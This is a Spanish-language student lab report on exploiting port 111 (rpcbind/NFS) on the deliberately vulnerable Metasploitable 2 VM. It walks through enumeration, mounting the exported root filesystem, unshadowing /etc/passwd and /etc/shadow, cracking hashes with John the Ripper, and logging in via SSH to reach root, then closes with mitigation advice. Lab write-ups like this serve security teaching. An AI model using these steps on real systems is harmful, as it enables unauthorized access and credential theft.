



Universidad
del Caribe

2000

CANCUN, QUINTANA ROO, MÉXICO

CONOCIMIENTO Y CULTURA PARA EL DESARROLLO HUMANO

UNIVERSIDAD DEL CARIBE

METASPLOITABLE 2 PORT 111

INGENIERÍA EN DATOS E INTELIGENCIA
ORGANIZACIONAL

29 DE ABRIL DEL 2024

LESSTER MAC WILLIAMS ROMERO
ALEXIS BALTAZAR LOPEZ CANCHE
CHRISTIAN LEONARDO SALAS SANDIEL

Puerto 111

Observamos los puertos disponibles en la máquina virtual de Metasploitable 2. Ahí podemos encontrar nuestro objetivo, el **puerto 111** con el servicio de **rpcbind**.

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ sudo nmap -p 111 -sC -A -O -sV 192.168.0.4 -oN service  
[sudo] password for kali:  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-29 19:09 EDT  
Nmap scan report for 192.168.0.4  
Host is up (0.00070s latency).  
  
PORT      STATE SERVICE VERSION  
111/tcp   open  rpcbind 2 (RPC #100000)  
| rpcinfo:  
|   program version    port/proto  service  
|   100000    2          111/tcp    rpcbind  
|   100000    2          111/udp    rpcbind  
|   100003    2,3,4      2049/tcp   nfs  
|   100003    2,3,4      2049/udp   nfs  
|   100005    1,2,3      36124/udp  mountd  
|   100005    1,2,3      47735/tcp  mountd  
|   100021    1,3,4      35719/udp  nlockmgr  
|   100021    1,3,4      47810/tcp  nlockmgr  
|   100024    1          47263/tcp  status  
|   100024    1          49405/udp  status  
MAC Address: 08:00:27:DA:A0:77 (Oracle VirtualBox virtual NIC)  
Warning: OSScan results may be unreliable because we could not find at least  
1 open and 1 closed port  
Device type: general purpose  
Running: Linux 2.6.X  
OS CPE: cpe:/o:linux:linux_kernel:2.6
```

Observamos más concretamente los puertos. El **puerto 111** tiene el servicio de **portmapper**.

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ rpcinfo -p 192.168.0.4  
program vers proto  port  service  
100000    2    tcp    111   portmapper  
100000    2    udp    111   portmapper  
100024    1    udp    49405 status  
100024    1    tcp    47263 status  
100003    2    udp    2049  nfs  
100003    3    udp    2049  nfs  
100003    4    udp    2049  nfs  
100021    1    udp    35719 nlockmgr  
100021    3    udp    35719 nlockmgr  
100021    4    udp    35719 nlockmgr  
100003    2    tcp    2049  nfs  
100003    3    tcp    2049  nfs  
100003    4    tcp    2049  nfs  
100021    1    tcp    47810 nlockmgr  
100021    3    tcp    47810 nlockmgr  
100021    4    tcp    47810 nlockmgr  
100005    1    udp    36124 mountd  
100005    1    tcp    47735 mountd  
100005    2    udp    36124 mountd  
100005    2    tcp    47735 mountd  
100005    3    udp    36124 mountd  
100005    3    tcp    47735 mountd
```

Mostramos todos los **servicios NFS** (Network File System) que están registrados en el puerto de escucha del servidor RPC (Remote Procedure Call) en la dirección IP 192.168.0.4

```
(kali㉿kali)-[~]  
$ rpcinfo -p 192.168.0.4 | grep "nfs"  
100003      2      udp      2049      nfs  
100003      3      udp      2049      nfs  
100003      4      udp      2049      nfs  
100003      2      tcp      2049      nfs  
100003      3      tcp      2049      nfs  
100003      4      tcp      2049      nfs  
  
(kali㉿kali)-[~]  
$
```

Mostramos los directorios exportados por el servidor NFS (Network File System) en la dirección IP 192.168.0.4 y sus permisos de acceso.

```
(kali㉿kali)-[~]  
$ showmount -e 192.168.0.4  
Export list for 192.168.0.4:  
/ *  
  
(kali㉿kali)-[~]  
$
```

```
(kali㉿kali)-[~]  
$ df -k  
Filesystem      1K-blocks      Used Available Use% Mounted on  
udev            970296          0    970296   0% /dev  
tmpfs           202420          992    201428   1% /run  
/dev/sda1       82083148 14147956  63719644 19% /  
tmpfs           1012080          0    1012080   0% /dev/shm  
tmpfs            5120            0         5120   0% /run/lock  
tmpfs           202416          120    202296   1% /run/user/1000  
  
(kali㉿kali)-[~]  
$
```

Se monta el directorio raíz del servidor NFS ubicado en la dirección IP 192.168.0.4 en el directorio local /mnt con privilegios de superusuario, y desactiva el bloqueo de archivos NFS para evitar posibles problemas de consistencia de datos.

```
(kali㉿kali)-[~]
$ sudo df -k
Filesystem      1K-blocks      Used Available Use% Mounted on
udev            970296          0    970296   0% /dev
tmpfs           202420          996    201424   1% /run
/dev/sda1       82083148 14148164  63719436  19% /
tmpfs           1012080          0    1012080   0% /dev/shm
tmpfs            5120            0         5120   0% /run/lock
tmpfs           202416          120    202296   1% /run/user/1000
192.168.0.4:/   7282176 1477632  5437440  22% /mnt

(kali㉿kali)-[~]
$ sudo mount -t nfs 192.168.0.4:/ /mnt -o nolock

(kali㉿kali)-[~]
$
```

Unimos los archivos de passwd y shadow en un solo archivo llamado password para observar las claves.

```
(kali㉿kali)-[~]
$ sudo unshadow /mnt/etc/passwd /mnt/etc/shadow > password
Created directory: /root/.john
```

Observamos cómo se almacenó.

```
(kali㉿kali)-[~]
$ cat password
root:$1$avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/bin/sh
bin:*:2:2:bin:/bin:/bin/sh
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/bin/sh
man:*:6:12:man:/var/cache/man:/bin/sh
lp:*:7:7:lp:/var/spool/lpd:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
news:*:9:9:news:/var/spool/news:/bin/sh
uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:*:13:13:proxy:/bin:/bin/sh
www-data:*:33:33:www-data:/var/www:/bin/sh
backup:*:34:34:backup:/var/backups:/bin/sh
list:*:38:38:Mailing List Manager:/var/list:/bin/sh
irc:*:39:39:ircd:/var/run/ircd:/bin/sh
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:*:65534:65534:nobody:/nonexistent:/bin/sh
libuuid!:100:101::/var/lib/libuuid:/bin/sh
dhcp:*:101:102::/nonexistent:/bin/false
syslog:*:102:103::/home/syslog:/bin/false
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
sshd:*:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
```

```

msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:*:105:113::/var/cache/bind:/bin/false
postfix:*:106:115::/var/spool/postfix:/bin/false
ftp:*:107:65534::/home/ftp:/bin/false
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:!:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:*:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:*:111:65534:::/bin/false
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,,:/home/user:/bin/bash
service:$1$kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/ash
telnetd:*:112:120::/nonexistent:/bin/false
proftpd:!:113:65534::/var/run/proftpd:/bin/false
statd:*:114:65534::/var/lib/nfs:/bin/false

(kali㉿kali)-[~]

```

Iniciamos un ataque a fuerza bruta que desencripta las contraseñas existentes de la máquina virtual, esto tomará mucho tiempo debido a que debe probar muchas combinaciones para crear un archivo con las contraseñas.

```

(kali㉿kali)-[~]
$ sudo john -incremental --format=md5crypt-long password
[sudo] password for kali:
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt-long, crypt(3) $1$
(and variants) [MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
batman          (sys)
1g 0:00:02:29  0.006710g/s 1094p/s 6963c/s 6963C/s davli..darte

```

```

1g 0:01:17:28 0.000215g/s 1346p/s 8090c/s 8090C/s 1biois..1biz87
1g 0:01:17:29 0.000215g/s 1346p/s 8090c/s 8090C/s 1b13jg..1b14jp
1g 0:01:17:30 0.000215g/s 1346p/s 8090c/s 8090C/s 1l20mr..1l22se
1g 0:01:30:10 0.000184g/s 1332p/s 8006c/s 8006C/s 14721087..14721421
1g 0:01:32:55 0.000179g/s 1332p/s 8004c/s 8004C/s cebyam..cebysn
1g 0:01:32:56 0.000179g/s 1332p/s 8004c/s 8004C/s clyort..clyoty
1g 0:01:32:57 0.000179g/s 1332p/s 8004c/s 8004C/s cinyon..ciny87
1g 0:01:45:04 0.000158g/s 1323p/s 7947c/s 7947C/s 19901383..19900718
1g 0:01:45:15 0.000158g/s 1323p/s 7947c/s 7947C/s mife2..mifix
1g 0:01:47:47 0.000154g/s 1321p/s 7940c/s 7940C/s hecs1..hexls
1g 0:01:47:51 0.000154g/s 1321p/s 7940c/s 7940C/s ncmx5..nctbi
1g 0:02:11:36 0.000126g/s 1287p/s 7733c/s 7733C/s mamnew..mamnab
1g 0:02:11:37 0.000126g/s 1287p/s 7733c/s 7733C/s macce4..maccao
1g 0:02:11:38 0.000126g/s 1287p/s 7732c/s 7732C/s mak16t..mak1ny
1g 0:02:11:41 0.000126g/s 1287p/s 7731c/s 7731C/s movmc1..mocy10
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

(kali@kali)-[~]
$ sudo john -show password
[sudo] password for kali:
sys:batman:3:3:sys:/dev:/bin/sh

1 password hash cracked, 6 left

```

Podemos observar las contraseñas de la siguiente manera en el archivo que las contiene.

```

(root@kali)-[/home/kali]
# john -show password
sys:batman:3:3:sys:/dev:/bin/sh

1 password hash cracked, 6 left

```

Posteriormente, teniendo las contraseñas, en caso de que haya pasado el suficiente tiempo para obtenerlas, la usamos para iniciar sesión dentro del MS2.


```
(root@kali)-[/home/kali]
# ssh -oHostKeyAlgorithms=+ssh-rsa,ssh-dss msfadmin@192.168.0.4
msfadmin@192.168.0.4's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Mon Apr 29 22:07:21 2024 from 192.168.0.5
msfadmin@metasploitable:~$ sudo su
root@metasploitable:/home/msfadmin#
```

Tarda mucho en desencriptar las contraseñas, por bajos recursos o por limitaciones del mismo John. No será posible la demostración de esto debido a que se tarda mucho tiempo en obtenerse, pero es funcional y es reproducible en cualquier máquina.

Cómo defender y erradicar esta vulnerabilidad:

Actualización y parcheo del sistema: Mantén el sistema operativo y todas las aplicaciones actualizadas con los últimos parches de seguridad. Esto ayudará a mitigar las vulnerabilidades conocidas.

Desactivar servicios innecesarios: Si no necesitas el servicio Portmapper o RPC en tu sistema, considera desactivarlo por completo o restringir el acceso a él desde fuentes no confiables.

Configuración de firewall: Configura un firewall para bloquear el acceso no autorizado al puerto 111 desde direcciones IP externas. Esto ayudará a limitar la superficie de ataque.

Aplicar filtrado de paquetes: Utiliza herramientas de filtrado de paquetes para controlar el tráfico que llega al puerto 111. Puedes configurar reglas para permitir únicamente el tráfico legítimo.

Implementar autenticación y autorización: Si es posible, configurar el servicio Portmapper para requerir autenticación y autorización antes de permitir el acceso. Esto ayudará a prevenir ataques de fuerza bruta y acceso no autorizado.

Líneas de comandos usados:

```
rpcinfo -p 192.168.0.4  
rpcinfo -p 192.168.0.4 | grep "nfs"  
showmount 192.168.0.4  
sudo su  
df -k  
mount -t nfs 192.168.0.4:/ /mnt -o nolock  
df -k  
unshadow /mnt/etc/passwd /mnt/etc/shadow > password  
cat password  
sudo john -incremental --format=md5crypt-long password  
john -show password  
ssh -oHostKeyAlgorithms=+ssh-rsa,ssh-dss msfadmin@192.168.0.4
```